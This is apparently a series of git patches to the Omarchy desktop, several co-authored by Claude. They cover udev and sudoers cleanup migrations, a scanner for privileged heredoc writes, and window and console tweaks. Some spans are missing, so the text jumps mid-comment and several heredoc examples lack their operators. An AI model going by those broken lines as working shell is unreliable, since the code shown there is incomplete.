reload is still pending" +pass "migration keeps a failed udev reload pending" + +run_migration + +[[ ! -e $reload_needed_marker ]] || fail "migration clears the reload marker after a successful retry" +(( $(reload_count) == 1 )) || + fail "migration retries the pending udev reload" "$(cat "$CALLS")" +pass "migration retries and completes a previously failed udev reload" + +# A chroot or stopped daemon has no in-memory ruleset to update. An absent udev +# control socket is therefore a completed removal, not a permanent migration +# failure waiting for a daemon that is not running. +reset_machine +rm -f "$udev_control" +write_vulnerable_wifi_rule +run_migration + +[[ ! -e $wifi_rule && ! -e $reload_needed_marker ]] || + fail "migration completes the disk-only repair when udevd is not running" +(( $(reload_count) == 0 )) || + fail "migration does not contact an absent udevd" "$(cat "$CALLS")" +pass "migration permits environments with no running udev daemon" + # The second run is what every other account on the machine does, and what a # user gets from running omarchy-migrate again. run_migration @@ -219,6 +267,8 @@ write_vulnerable_wifi_rule set +e HOME="$home_dir" \ OMARCHY_UDEV_RULES_DIR="$rules_dir" \ + OMARCHY_UDEV_RELOAD_NEEDED_MARKER="$reload_needed_marker" \ + OMARCHY_UDEV_CONTROL="$udev_control" \ PATH="$test_dir/failing-bin:$PATH" \ bash -euo pipefail "$migration" >"$test_dir/elevation-failure.out" 2>&1 failure_status=$? @@ -250,6 +300,8 @@ chmod +x "$test_dir/failing-bin/sudo" set +e HOME="$home_dir" \ OMARCHY_UDEV_RULES_DIR="$rules_dir" \ + OMARCHY_UDEV_RELOAD_NEEDED_MARKER="$reload_needed_marker" \ + OMARCHY_UDEV_CONTROL="$udev_control" \ PATH="$test_dir/failing-bin:$test_dir/bin:$PATH" \ bash -euo pipefail "$migration" >"$test_dir/partial-failure.out" 2>&1 partial_status=$? @@ -257,6 +309,7 @@ set -e (( partial_status != 0 )) || fail "migration fails when the second rule cannot be removed" [[ ! -e $power_rule && -e $wifi_rule ]] || fail "migration preserves the expected partial-removal state" +[[ -e $reload_needed_marker ]] || fail "migration records the second rule removal as still pending" (( $(reload_count) == 1 )) || fail "migration reloads udev before a later removal failure" "$(cat "$CALLS")" pass "a later removal failure cannot leave an already-deleted rule loaded" diff --git a/test/shell.d/privileged-heredoc-test.sh b/test/shell.d/privileged-heredoc-test.sh index 9501113b..0caa4215 100755 --- a/test/shell.d/privileged-heredoc-test.sh +++ b/test/shell.d/privileged-heredoc-test.sh @@ -121,8 +121,8 @@ strip_escapes() { # path. Because both halves come from one pass over one pattern, the Nth \001 # is the Nth name, so a token can be judged against the right variable. mask_and_names() { - local text="$1" masked="" body name guard=0 - local -a names=() + local text="$1" masked="" body inner tail name guard=0 nested_masked + local -a names=() nested_scan=() nested_names=() # Normalize backtick substitution into $( ) so one pattern covers both. while ((guard++ < 64)) && [[ $text =~ ^([^\`]*)\`([^\`]*)\`(.*)$ ]]; do @@ -135,20 +135,35 @@ mask_and_names() { masked+="${BASH_REMATCH[1]}"$'\001' body=${BASH_REMATCH[2]} text=${BASH_REMATCH[4]} + nested_masked="" + nested_names=() if [[ $body == \(* ]]; then name=$COMMAND_SUBSTITUTION elif [[ $body == \{* ]]; then - body=${body:1:${#body}-2} + inner=${body:1:${#body}-2} # ${name}, ${name:-default}, ${name//a/b}, ${#name}, ${!name} all start # with the name once the decorations are stripped. - body=${body#[\#!]} - if [[ $body =~ ^([A-Za-z_][A-Za-z0-9_]*) ]]; then + inner=${inner#[\#!]} + if [[ $inner =~ ^([A-Za-z_][A-Za-z0-9_]*) ]]; then name=${BASH_REMATCH[1]} - elif [[ $body =~ ^[0-9@*#?$!-]$ ]]; then + tail=${inner#"$name"} + elif [[ $inner =~ ^[0-9@*#?$!-] ]]; then name="shell-parameter" + tail=${inner:1} else name=$COMMAND_SUBSTITUTION + tail=$inner + fi + + # The shell expands the operator payload too. Keep it as a synthetic + # adjacent token so its placeholders stay aligned with their names while + # the outer expansion remains independently classifiable. Without this, + # ${target:-$HOME/path} is consumed as only `target` and hides HOME. + if [[ $tail =~ $EXPANSION_RE || $tail == *'`'* ]]; then + mapfile -t nested_scan < <(mask_and_names "$tail") + nested_masked=${nested_scan[0]} + nested_names=("${nested_scan[@]:1}") fi else name=${body%%\[*} @@ -156,6 +171,10 @@ mask_and_names() { fi names+=("$name") + if ((${#nested_names[@]} > 0)); then + masked+=" $nested_masked" + names+=("${nested_names[@]}") + fi done printf '%s\n' "$masked$text" @@ -469,25 +488,24 @@ privileged_destination() { unresolved+=("$dest") fi - # One hop: a later copy of this same expression into a root-owned path. - if [[ $dest == *'$'* ]]; then - follow=$start_index - while ((follow < ${#scan_lines[@]})); do - hop=${scan_lines[follow]} - follow=$((follow + 1)) - [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue - line_carries_destination "$hop" "$dest" || continue - while IFS= read -r hop_dest; do - [[ $hop_dest == $'\002elevated' ]] && continue - [[ $hop_dest == "$dest" ]] && continue - hop_dest=$(resolve_value "$hop_dest") - if starts_with_privileged_prefix "$hop_dest"; then - printf '%s' "$hop_dest" - return 0 - fi - done < <(command_destinations "$hop") - done - fi + # One hop: a later copy of this same destination into a root-owned path. + # Literal scratch files need tracing just as much as variable destinations. + follow=$start_index + while ((follow < ${#scan_lines[@]})); do + hop=${scan_lines[follow]} + follow=$((follow + 1)) + [[ $hop =~ (^|[[:space:]])(install|cp|mv)([[:space:]]|$) ]] || continue + line_carries_destination "$hop" "$dest" || continue + while IFS= read -r hop_dest; do + [[ $hop_dest == $'\002elevated' ]] && continue + [[ $hop_dest == "$dest" ]] && continue + hop_dest=$(resolve_value "$hop_dest") + if starts_with_privileged_prefix "$hop_dest"; then + printf '%s' "$hop_dest" + return 0 + fi + done < <(command_destinations "$hop") + done done < <(command_destinations "$line") # An elevated write whose destination cannot be resolved counts as privileged: @@ -572,7 +590,7 @@ inside_same_line_arithmetic() { scan_file() { local file="$1" display="${2:-$1}" local -a lines=() - local index lineno line scan rest raw operator match prefix guard slot delim candidate candidate_delim body_start + local index lineno line command scan rest raw operator match prefix guard slot delim candidate candidate_delim body_start local body_text unescaped destination destination_command body_line masked_line token name local declared_paths annotation look shown_paths shown_plain count next slots terminated local hd_re='(<<-?)[[:space:]]*("[A-Za-z_][A-Za-z0-9_]*"|'"'"'[A-Za-z_][A-Za-z0-9_]*'"'"'|[A-Za-z_][A-Za-z0-9_]*)' @@ -588,9 +606,21 @@ scan_file() { [[ $line =~ ^[[:space:]]*# ]] && continue + # A backslash-escaped newline is removed before Bash parses the command, so + # a pipeline consumer can appear on the next physical line before heredoc + # body collection begins: `cat </ cleanup path. A different account in the path proves the +# line was edited or hand-written and makes the whole file administrator-owned. +reset_machine +cat >"$first_run" <<'EOF' +alice ALL=(ALL) NOPASSWD: /bin/rm -f /home/bob/.local/state/omarchy/first-run.mode +EOF +before=$(cat "$first_run") +run_migration + +[[ -e $first_run ]] || fail "migration keeps a first-run cleanup path for another account" +[[ $(cat "$first_run") == "$before" ]] || + fail "migration leaves the cross-account first-run file byte for byte" +pass "migration requires the cleanup path account to match the granted account" + # Nothing in this file ties it to Omarchy's first run: no self-cleanup line. reset_machine cat >"$first_run" <<'EOF' From 844f320bbeafd844f95c17f3d619133bdad5b9ec Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 30 Aug 2026 08:58:07 +0200 Subject: [PATCH 151/336] Stop the legacy udev migration tripping the 4.0 upgrade guard test/shell.d/config-test.sh greps every file under migrations/ for `upgrade-to-quattro` and fails the suite when one matches, because pre-4 layout work belongs in the upgrade command rather than in a migration. The comment explaining why this particular cleanup is the exception named that command literally, so it matched the guard and config-test.sh failed on this branch while passing on quattro. The comment now names the Omarchy 4 upgrade command without spelling the file, which leaves the guard able to catch a migration that actually reaches for it. agents/skills/migrations.md still names `bin/omarchy-upgrade-to-quattro` in full, and it is not under migrations/. Co-Authored-By: Claude Opus 5 (1M context) --- migrations/1787946619.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/migrations/1787946619.sh b/migrations/1787946619.sh index 204712d9..4c5e0187 100644 --- a/migrations/1787946619.sh +++ b/migrations/1787946619.sh @@ -22,7 +22,7 @@ as_root() { # install that came up through the 3.x line keeps the old file until this # migration removes it. # -# Pre-4 layout work normally belongs in bin/omarchy-upgrade-to-quattro, but that +# Pre-4 layout work normally belongs in the Omarchy 4 upgrade command, but that # command only runs on a machine still making the crossing, so an install that # crossed already would never see it. The upgrade command ends by running # omarchy-migrate, so this covers the installs still to upgrade as well. From 96404be37b80aecbcfaed82ba8df413850c55788 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 30 Aug 2026 08:58:12 +0200 Subject: [PATCH 152/336] Catch a privileged heredoc redirected with >| `>|` is a plain redirect with noclobber overridden, not a redirect followed by a pipe. command_destinations detached `>` from its target before looking at the bar, so the target read as `|` and the privileged path behind it was never examined: `cat <| /etc/udev/rules.d/99-x.rules` with `$HOME` in the body produced no finding at all, while the same write through `>` produced one. Normalizing `>|` to `>` alongside the existing `>>` handling closes it. The fixture fails without the normalization. Co-Authored-By: Claude Opus 5 (1M context) --- .../fixtures/privileged-heredoc/route-noclobber-redirect.sh | 4 ++++ test/shell.d/privileged-heredoc-test.sh | 6 ++++++ 2 files changed, 10 insertions(+) create mode 100644 test/shell.d/fixtures/privileged-heredoc/route-noclobber-redirect.sh diff --git a/test/shell.d/fixtures/privileged-heredoc/route-noclobber-redirect.sh b/test/shell.d/fixtures/privileged-heredoc/route-noclobber-redirect.sh new file mode 100644 index 00000000..050f92fb --- /dev/null +++ b/test/shell.d/fixtures/privileged-heredoc/route-noclobber-redirect.sh @@ -0,0 +1,4 @@ +# `>|` is a plain redirect with noclobber overridden, not a redirect into a pipe. +cat >|/etc/omarchy/agent.conf <|` overrides noclobber; the bar belongs to the operator, not to a pipe. + # Left alone it becomes the redirect's target and hides the privileged path + # behind it, so a `cat <| /etc/...` heredoc reports no destination. + line=${line//">|"/">"} # Preserve append redirects before detaching redirect operators from their # targets, so ">> /etc/x" does not become two ">" tokens whose first target # is the second operator. @@ -922,6 +926,8 @@ fixture_flags route-prebody-escaped-pipeline.sh \ "flags an escaped-line pipeline consumer before the heredoc body" fixture_flags route-dash-delimiter.sh "flags an indented <<- heredoc" fixture_flags route-append-redirect.sh "flags an append redirect into /etc" +fixture_flags route-noclobber-redirect.sh \ + "flags a noclobber-override redirect into /etc" fixture_flags arithmetic-left-shift-before-heredoc.sh \ "an arithmetic left shift does not swallow a later privileged heredoc" \ "path-shaped expansions: HOME" From e3b566bae84fed24672055404684d131d998f3d9 Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 30 Aug 2026 09:06:22 +0200 Subject: [PATCH 153/336] Remove the last first-run sudoers grant the installer wrote install/post-install/first-run-mode.sh shipped on quattro between 53e26115 and 75cb4f71, and its final body writes `Cmnd_Alias FIRST_RUN_CLEANUP = /usr/bin/rm -f /etc/sudoers.d/first-run, /bin/rm -f /etc/sudoers.d/first-run`. The predicate's case listed only the two `/bin/rm` spellings, so that line fell through to the user-spec test, failed it, and the whole file read as hand-written. The migration then left it alone and wrote its machine marker, which is permanent: on an offline install from that window the account keeps passwordless `/usr/bin/systemctl` for good, and nothing looks at the file again. Adding the string is the whole fix. The test now carries all nine bodies the installer wrote across both locations rather than the eight from install/preflight. Co-Authored-By: Claude Opus 5 (1M context) Co-Authored-By: Codex XHigh --- migrations/1788025225.sh | 7 +++++-- ...etired-installer-artifacts-migration-test.sh | 17 ++++++++++++++--- 2 files changed, 19 insertions(+), 5 deletions(-) diff --git a/migrations/1788025225.sh b/migrations/1788025225.sh index 96ba2f6c..295b71ba 100644 --- a/migrations/1788025225.sh +++ b/migrations/1788025225.sh @@ -109,7 +109,9 @@ sudoers_hash_is_active() { # touch the network. Any failure in between leaves the grant on the machine with # nothing left to retry it. # -# The installer rewrote this file eight times, and only the last four carry both +# The installer rewrote this file nine times across two locations -- the last two +# bodies came from install/post-install/first-run-mode.sh, whose cleanup alias +# names /usr/bin/rm as well as /bin/rm -- and only the later ones carry both # Cmnd_Alias lines, so keying on those would walk past the earlier ones. Instead # require every active line to be one the installer itself emitted, plus at least # one line that is unmistakably this grant: its own self-cleanup. One @@ -128,7 +130,8 @@ first_run_sudoers_is_generated() { continue ;; "Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run" | \ - "Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run, /bin/rm -f /etc/sudoers.d/99-omarchy-installer-reboot") + "Cmnd_Alias FIRST_RUN_CLEANUP = /bin/rm -f /etc/sudoers.d/first-run, /bin/rm -f /etc/sudoers.d/99-omarchy-installer-reboot" | \ + "Cmnd_Alias FIRST_RUN_CLEANUP = /usr/bin/rm -f /etc/sudoers.d/first-run, /bin/rm -f /etc/sudoers.d/first-run") seen_marker=1 continue ;; diff --git a/test/shell.d/retired-installer-artifacts-migration-test.sh b/test/shell.d/retired-installer-artifacts-migration-test.sh index eba723c9..a5d85388 100755 --- a/test/shell.d/retired-installer-artifacts-migration-test.sh +++ b/test/shell.d/retired-installer-artifacts-migration-test.sh @@ -115,9 +115,12 @@ WantedBy=multi-user.target EOF } -# Every distinct body install/preflight/first-run-mode.sh wrote across its eight -# rewrites, oldest first. Only the last four carry both Cmnd_Alias lines, so a -# predicate keyed on those would leave the first four grants on disk. +# Every distinct body the first-run-mode installer wrote across its nine rewrites, +# oldest first. Only the later ones carry both Cmnd_Alias lines, so a predicate +# keyed on those would leave the earlier grants on disk. The last body is the one +# install/post-install/first-run-mode.sh shipped until it was retired: its cleanup +# alias names /usr/bin/rm as well as /bin/rm, and it still grants passwordless +# /usr/bin/systemctl. first_run_variants=( 'installer ALL=(ALL) NOPASSWD: /usr/bin/ufw installer ALL=(ALL) NOPASSWD: /usr/bin/ufw-docker @@ -166,6 +169,14 @@ installer ALL=(ALL) NOPASSWD: /usr/bin/ufw installer ALL=(ALL) NOPASSWD: /usr/bin/ufw-docker installer ALL=(ALL) NOPASSWD: /usr/bin/gtk-update-icon-cache installer ALL=(ALL) NOPASSWD: SYMLINK_RESOLVED +installer ALL=(ALL) NOPASSWD: FIRST_RUN_CLEANUP' + 'Cmnd_Alias FIRST_RUN_CLEANUP = /usr/bin/rm -f /etc/sudoers.d/first-run, /bin/rm -f /etc/sudoers.d/first-run +Cmnd_Alias SYMLINK_RESOLVED = /usr/bin/ln -sf /run/systemd/resolve/stub-resolv.conf /etc/resolv.conf +installer ALL=(ALL) NOPASSWD: /usr/bin/systemctl +installer ALL=(ALL) NOPASSWD: /usr/bin/ufw +installer ALL=(ALL) NOPASSWD: /usr/bin/ufw-docker +installer ALL=(ALL) NOPASSWD: /usr/bin/gtk-update-icon-cache +installer ALL=(ALL) NOPASSWD: SYMLINK_RESOLVED installer ALL=(ALL) NOPASSWD: FIRST_RUN_CLEANUP' ) From 7fec55e0ed9bacb560050541ba456db7dec7687e Mon Sep 17 00:00:00 2001 From: David Heinemeier Hansson Date: Sun, 30 Aug 2026 10:30:34 +0200 Subject: [PATCH 154/336] Leave Hermes Desktop's HUD the transparency it draws itself The HUD is a frameless Electron window that paints its own per-pixel transparency. Under the default rules it gets a compositor border and Omarchy's window opacity on top, which turns the compact prompt into an outlined, muddy canvas. Scoped to the HUD by title, so the main Hermes window keeps the ordinary treatment. Co-authored-by: Luiz Filipe Co-Authored-By: Claude Opus 5 (1M context) --- default/hypr/apps/hermes.lua | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 default/hypr/apps/hermes.lua diff --git a/default/hypr/apps/hermes.lua b/default/hypr/apps/hermes.lua new file mode 100644 index 00000000..a7ad307f --- /dev/null +++ b/default/hypr/apps/hermes.lua @@ -0,0 +1,7 @@ +-- Hermes Desktop's frameless HUD manages its own geometry. +o.window({ class = "^Hermes$", title = "^Hermes HUD$" }, { + tag = "-default-opacity", + float = true, + border_size = 0, + opacity = "1 1", +}) From f6a8c6c02f025deb863cddf7956c824845cfd7d7 Mon Sep 17 00:00:00 2001 From: Miguel Mendez Date: Sun, 30 Aug 2026 01:17:31 +0200 Subject: [PATCH 155/336] Mark omarchy-install-service-dropbox as requires-sudo bin/omarchy scans the first 80 lines of every command for omarchy:* metadata. The requires-sudo flag is surfaced via 'omarchy commands --json', and the interactive launcher and menu use it to flag entries that need elevation before the user clicks them. Every install-service script in bin/ has the directive: spotify, signal, 1password, sunshine, dropbox-remove, nordvpn, once, tailscale, plus the full omarchy-install-* and omarchy-apply-* trees. omarchy-remove-service-dropbox has it. omarchy-install-service-dropbox is the outlier. The menu hints 'needs sudo' for removing Dropbox but not for installing it. The install path runs pacman via omarchy-pkg-add, which needs elevation. The missing directive is an oversight, not a deliberate choice. --- bin/omarchy-install-service-dropbox | 1 + 1 file changed, 1 insertion(+) diff --git a/bin/omarchy-install-service-dropbox b/bin/omarchy-install-service-dropbox index 0ee07bfb..7a4e190e 100755 --- a/bin/omarchy-install-service-dropbox +++ b/bin/omarchy-install-service-dropbox @@ -1,6 +1,7 @@ #!/bin/bash # omarchy:summary=Install and start the Dropbox service. Must then be authenticated via the web. +# omarchy:requires-sudo=true echo "Installing all dependencies..." omarchy-pkg-add dropbox dropbox-cli libappindicator-gtk3 python-gpgme nautilus-dropbox From 0bec60f6e4012d95e6d0bea24ac05dbc017691b8 Mon Sep 17 00:00:00 2001 From: ogarza Date: Sun, 30 Aug 2026 05:26:46 -0400 Subject: [PATCH 156/336] Center the Quake console in a 2:1 panel instead of spanning the screen. Size it from leftover workspace gaps so it refits per monitor, and let omarchy_qconsole_ratio change the width. --- config/hypr/hyprland.lua | 5 + default/hypr/qconsole.lua | 161 ++++++++++++++++++++++--- manual/04-navigation.md | 2 + test/shell.d/hyprland-qconsole-test.sh | 88 +++++++++++++- 4 files changed, 232 insertions(+), 24 deletions(-) diff --git a/config/hypr/hyprland.lua b/config/hypr/hyprland.lua index 45c9b664..354e079c 100644 --- a/config/hypr/hyprland.lua +++ b/config/hypr/hyprland.lua @@ -10,6 +10,11 @@ dofile((os.getenv("OMARCHY_PATH") or "/usr/share/omarchy") .. "/default/hypr/boo -- keeping core window-manager bindings: -- omarchy_preinstalled_bindings = false +-- Center the quake console in a tiling box. The number is how many times +-- wider the box is than its height. 1 is a square. Comment this out for a +-- full-width drop-down. +omarchy_qconsole_ratio = 2 + -- Load Omarchy defaults. require("default.hypr.omarchy") diff --git a/default/hypr/qconsole.lua b/default/hypr/qconsole.lua index d3a36ae6..235b4675 100644 --- a/default/hypr/qconsole.lua +++ b/default/hypr/qconsole.lua @@ -4,6 +4,9 @@ -- How much of the usable screen the console covers, measured from the top. local share = 0.5 +local min_size = 64 + +local SCRATCHPAD = "special:scratchpad" -- Seed the console with the default agent the first time it opens, rather than -- at boot, so nothing is running until it is wanted. The exec rule has to pin @@ -25,20 +28,33 @@ hl.config({ -- Refitting replaces the rule in place rather than stacking a new one, but it -- still schedules a monitor and window state refresh, and monitor.focused fires --- on every hop between screens. Most of those hops do not change the number, so +-- on every hop between screens. Most of those hops do not change the gaps, so -- only write the rule when it actually moves. local covering = nil -local function cover(bottom) - if covering == bottom then - return +local function same_gaps(a, b) + return a + and b + and a.top == b.top + and a.right == b.right + and a.bottom == b.bottom + and a.left == b.left +end + +local function cover(gaps_out) + if type(gaps_out) == "number" then + gaps_out = { top = 0, right = 0, bottom = gaps_out, left = 0 } end - covering = bottom + + if same_gaps(covering, gaps_out) then + return false + end + covering = gaps_out hl.workspace_rule({ - workspace = "special:scratchpad", + workspace = SCRATCHPAD, gaps_in = 0, - gaps_out = { top = 0, right = 0, bottom = bottom, left = 0 }, + gaps_out = gaps_out, -- Nothing to highlight in a console that is only ever focused when it is -- open, and the active border reads as a stray frame around a panel that @@ -47,39 +63,148 @@ local function cover(bottom) on_created_empty = seed, }) + + return true +end + +local function reserved_edges(monitor) + local reserved = monitor.reserved + if type(reserved) ~= "table" then + return { top = 0, right = 0, bottom = 0, left = 0 } + end + + return { + top = reserved.top or 0, + right = reserved.right or 0, + bottom = reserved.bottom or 0, + left = reserved.left or 0, + } +end + +-- A positive omarchy_qconsole_ratio (set in hyprland.lua before defaults load) +-- centers the console in a tiling box that many times wider than it is tall. +-- Values below 1 clamp to a square. Unset keeps the full-width drop-down. +local function box_ratio() + local ratio = _G.omarchy_qconsole_ratio + if type(ratio) == "number" and ratio > 0 then + return math.max(1, ratio) + end + return nil +end + +local function is_scratchpad(ws) + return ws and (ws.name == SCRATCHPAD or ws.name == "scratchpad") end -- Sizing the console with a window rule would freeze it at whatever the screen -- measured when it first opened, because Hyprland resolves those expressions -- once, as the window maps. Rescaling the monitor afterwards would leave a -- console that is no longer half of anything. Gaps are re-applied by the layout --- instead, so the console is sized by the gap left underneath it and that gap --- is recomputed whenever the monitor layout changes. -local function fit() - local monitor = hl.get_active_monitor() +-- instead, so the console is sized by the leftover area and that area is +-- recomputed whenever the monitor it is opening on changes. +local function fit(monitor) + monitor = monitor or hl.get_active_monitor() -- A monitor handle whose output has gone away answers nil to every field, and -- layout changes are exactly when that happens, so this also covers reading -- height and reserved below. if not monitor or not monitor.scale or monitor.scale <= 0 then - return + return false end -- Monitor dimensions are in physical pixels; gaps are logical, so the scale -- has to come out before the reserved area (already logical) comes off. - local reserved = monitor.reserved - local usable = monitor.height / monitor.scale - reserved.top - reserved.bottom + local reserved = reserved_edges(monitor) + local usable_h = monitor.height / monitor.scale - reserved.top - reserved.bottom + local usable_w = nil + if monitor.width then + usable_w = monitor.width / monitor.scale - reserved.left - reserved.right + end - cover(math.max(0, math.floor(usable * (1 - share)))) + local ratio = box_ratio() + local h = math.max(min_size, math.floor(usable_h * share)) + local side = 0 + local bottom = math.max(0, math.floor(usable_h - h)) + + if ratio and usable_w then + local w = math.floor(h * ratio) + if w > usable_w then + w = math.floor(usable_w) + end + side = math.max(0, math.floor((usable_w - w) / 2)) + if usable_w - (side * 2) < min_size then + side = math.max(0, math.floor((usable_w - min_size) / 2)) + end + end + + if usable_h - bottom < min_size then + bottom = math.max(0, math.floor(usable_h - min_size)) + end + + return cover({ top = 0, right = side, bottom = bottom, left = side }) +end + +local function apply_now() + if hl.exec_scheduled_prop_refresh_immediately then + hl.exec_scheduled_prop_refresh_immediately() + end +end + +local function scratchpad_on_other_monitor(mon) + if not hl.get_workspace or not mon then + return false + end + + local ws = hl.get_workspace(SCRATCHPAD) + if not is_scratchpad(ws) or not ws.visible or not ws.monitor or not ws.monitor.name or not mon.name then + return false + end + + return ws.monitor.name ~= mon.name end -- Until a monitor can be read, cover the whole work area rather than leaving -- the console unruled, so it is never seeded without its placement. -cover(0) +cover({ top = 0, right = 0, bottom = 0, left = 0 }) fit() -hl.on("monitor.layout_changed", fit) -hl.on("monitor.focused", fit) +hl.on("monitor.layout_changed", function() + local ws = hl.get_workspace and hl.get_workspace(SCRATCHPAD) + if is_scratchpad(ws) and ws.visible and ws.monitor then + fit(ws.monitor) + else + fit() + end +end) + +-- follow_mouse hops fire this; do not rewrite an open console to a different +-- output's gaps (that is what zeroed the window on the 1080p screen). +hl.on("monitor.focused", function(mon) + if scratchpad_on_other_monitor(mon) then + return + end + fit(mon) +end) + +-- Special workspaces toggle on the monitor they open on, not whichever output +-- last happened to be focused when the rule was written. +hl.on("workspace.special_active", function(ws, mon) + if not is_scratchpad(ws) then + return + end + if fit(mon) then + apply_now() + end +end) + +hl.on("workspace.move_to_monitor", function(ws, mon) + if not is_scratchpad(ws) then + return + end + if fit(mon) then + apply_now() + end +end) -- The direction names the edge the offset is measured from, not where the -- workspace goes: "slide top" drops it down into view, and "slide bottom" diff --git a/manual/04-navigation.md b/manual/04-navigation.md index 549833bf..1b62b0df 100644 --- a/manual/04-navigation.md +++ b/manual/04-navigation.md @@ -66,6 +66,8 @@ Finally, there's a special scratchpad workspace that drops down over whatever wo It works especially well for a terminal running an agent, or for controls you want to interact with quickly without leaving the current workspace. To move a window off the scratchpad, send it directly to another workspace with something like `Super + Shift + 1`. +By default the scratchpad drops down as a centered panel. Open `~/.config/hypr/hyprland.lua` if you want to change how wide that panel is (`omarchy_qconsole_ratio` is near the top). `1` makes a square; `2` makes a panel twice as wide as it is tall; `3` or `4` is wider still. Anything smaller than `1` still gives you a square. Comment the line out if you'd rather have it span the full width of the screen. + ### It takes some getting used to! It takes a little while to get used to navigating your desktop like this, but once you do, it'll be hard to go back to a traditional mouse-driven desktop experience! diff --git a/test/shell.d/hyprland-qconsole-test.sh b/test/shell.d/hyprland-qconsole-test.sh index 57bdea8d..9360e3c8 100755 --- a/test/shell.d/hyprland-qconsole-test.sh +++ b/test/shell.d/hyprland-qconsole-test.sh @@ -10,9 +10,10 @@ require_command lua # scaled display, so it is worth pinning down. # base-test.sh does not set -e, so the assertions have to fail the file # themselves rather than leaving the pass below to run regardless. -OMARCHY_PATH="$ROOT" lua - <<'LUA' || fail "the console covers half the work area at any monitor scale" +OMARCHY_PATH="$ROOT" lua - <<'LUA' || fail "the console is a half-height 2:1 panel by default" local rules, handlers = {}, {} local monitor = nil +local workspace = nil hl = { config = function() end, @@ -20,8 +21,14 @@ hl = { workspace_rule = function(rule) table.insert(rules, rule) end, on = function(event, callback) handlers[event] = callback end, get_active_monitor = function() return monitor end, + get_workspace = function() return workspace end, + exec_scheduled_prop_refresh_immediately = function() end, } +-- Same default as config/hypr/hyprland.lua: a centered panel twice as wide as +-- it is tall. Commenting that assignment out is what restores full width. +omarchy_qconsole_ratio = 2 + dofile(os.getenv("OMARCHY_PATH") .. "/default/hypr/bootstrap.lua") require("default.hypr.qconsole") @@ -29,6 +36,11 @@ local function current() return rules[#rules] end +local function gaps() + local g = current().gaps_out + return g.top, g.right, g.bottom, g.left +end + -- Config loads before the outputs are up, so the first pass has no monitor to -- read. It still has to leave a rule behind, or the console would open unseeded. assert(#rules > 0, "console is ruled even before a monitor can be read") @@ -44,6 +56,7 @@ local function rescale(height, scale, bar) end -- Same panel, same logical size, different scale: the console must not care. +-- These fixtures omit width, so the ratio cannot inset the sides yet. assert(rescale(1080, 1, 40) == 520, "half of a 1080p work area, unscaled") assert(rescale(2160, 2, 40) == 520, "the same half once the monitor is scaled 2x") assert(rescale(2160, 1.5, 40) == 700, "and at a fractional scale") @@ -52,11 +65,10 @@ assert(rescale(2160, 1.5, 40) == 700, "and at a fractional scale") -- console short. assert(rescale(1440, 1, 0) == 720, "a monitor with nothing reserved") --- The console stays flush with the top and the sides, the way a Quake console --- drops in, and keeps its seed across every refit. local final = current() -assert(final.gaps_out.top == 0 and final.gaps_out.left == 0 and final.gaps_out.right == 0, - "the console is flush to the top and sides") +assert(final.gaps_out.top == 0, "the console stays flush with the top") +assert(final.gaps_out.left == 0 and final.gaps_out.right == 0, + "without a width the sides stay flush") assert(final.on_created_empty:find("omarchy%-agent"), "refitting keeps the console seeded") assert(final.no_border == true, "the console drops the active window border") @@ -86,5 +98,69 @@ monitor.scale = 2 handlers["monitor.layout_changed"]() assert(#rules == written + 1, "a real change still rewrites it") assert(current().gaps_out.bottom == 360, "and lands on half the rescaled screen") + +-- Default ratio: 16:9 is a centered 2:1 panel, not a full-width drop-down. +monitor = { width = 1920, height = 1080, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +local top, right, bottom, left = gaps() +assert(top == 0 and left == 420 and right == 420 and bottom == 540, "16:9 default is a 1080x540 panel") + +local dell = { name = "DP-1", width = 6144, height = 2560, scale = 1, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +monitor = dell +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 1807 and right == 1807 and bottom == 1265, "the same 2:1 panel on 6K") + +-- Same logical box at scale 2x (physical 12288x5120). +-- It checks that scale does not change the panel's logical size. +monitor = { name = "DP-1", width = 12288, height = 5120, scale = 2, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 1807 and right == 1807 and bottom == 1265, "the 6K box is in logical pixels") + +-- Acer 1920x1080, bar 30, same ratio. Opening here after a 6K fit must rewrite; +-- leaving 6K side gaps would make leftover width negative. +local acer = { name = "HDMI-A-1", width = 1920, height = 1080, scale = 1, reserved = { top = 30, bottom = 0, left = 0, right = 0 } } +monitor = dell +handlers["monitor.layout_changed"]() +handlers["workspace.special_active"]({ name = "special:scratchpad" }, acer) +top, right, bottom, left = gaps() +assert(left == 435 and right == 435 and bottom == 525, "opening on 1080p after a 6K fit resizes the 2:1 box") +assert(1920 - left - right > 0 and 1080 - 30 - bottom > 0, "1080p leftover is never negative") + +-- follow_mouse onto the 6K while the console is already showing on 1080p must +-- not steal the global rule (that is what oversized the Dell after a hop). +workspace = { name = "special:scratchpad", visible = true, monitor = acer } +written = #rules +handlers["monitor.focused"](dell) +assert(#rules == written, "focus on another output does not rewrite an open console") +workspace = nil + +-- Cache: same 1440p height, 16:9 vs 21:9. Sides change even when bottom does not. +monitor = { width = 2560, height = 1440, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +written = #rules +monitor = { width = 3440, height = 1440, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +assert(#rules == written + 1, "a same-height ultrawide hop still rewrites the sides") +top, right, bottom, left = gaps() +assert(left == 1000 and right == 1000 and bottom == 720, "3440x1440 at ratio 2 is a 2:1 box") + +omarchy_qconsole_ratio = 1 +monitor = { width = 1920, height = 1080, scale = 1, reserved = { top = 0, bottom = 0, left = 0, right = 0 } } +handlers["monitor.layout_changed"]() +top, right, bottom, left = gaps() +assert(left == 690 and right == 690 and bottom == 540, "ratio 1 is a square") + +omarchy_qconsole_ratio = 0.5 +handlers["monitor.layout_changed"]() 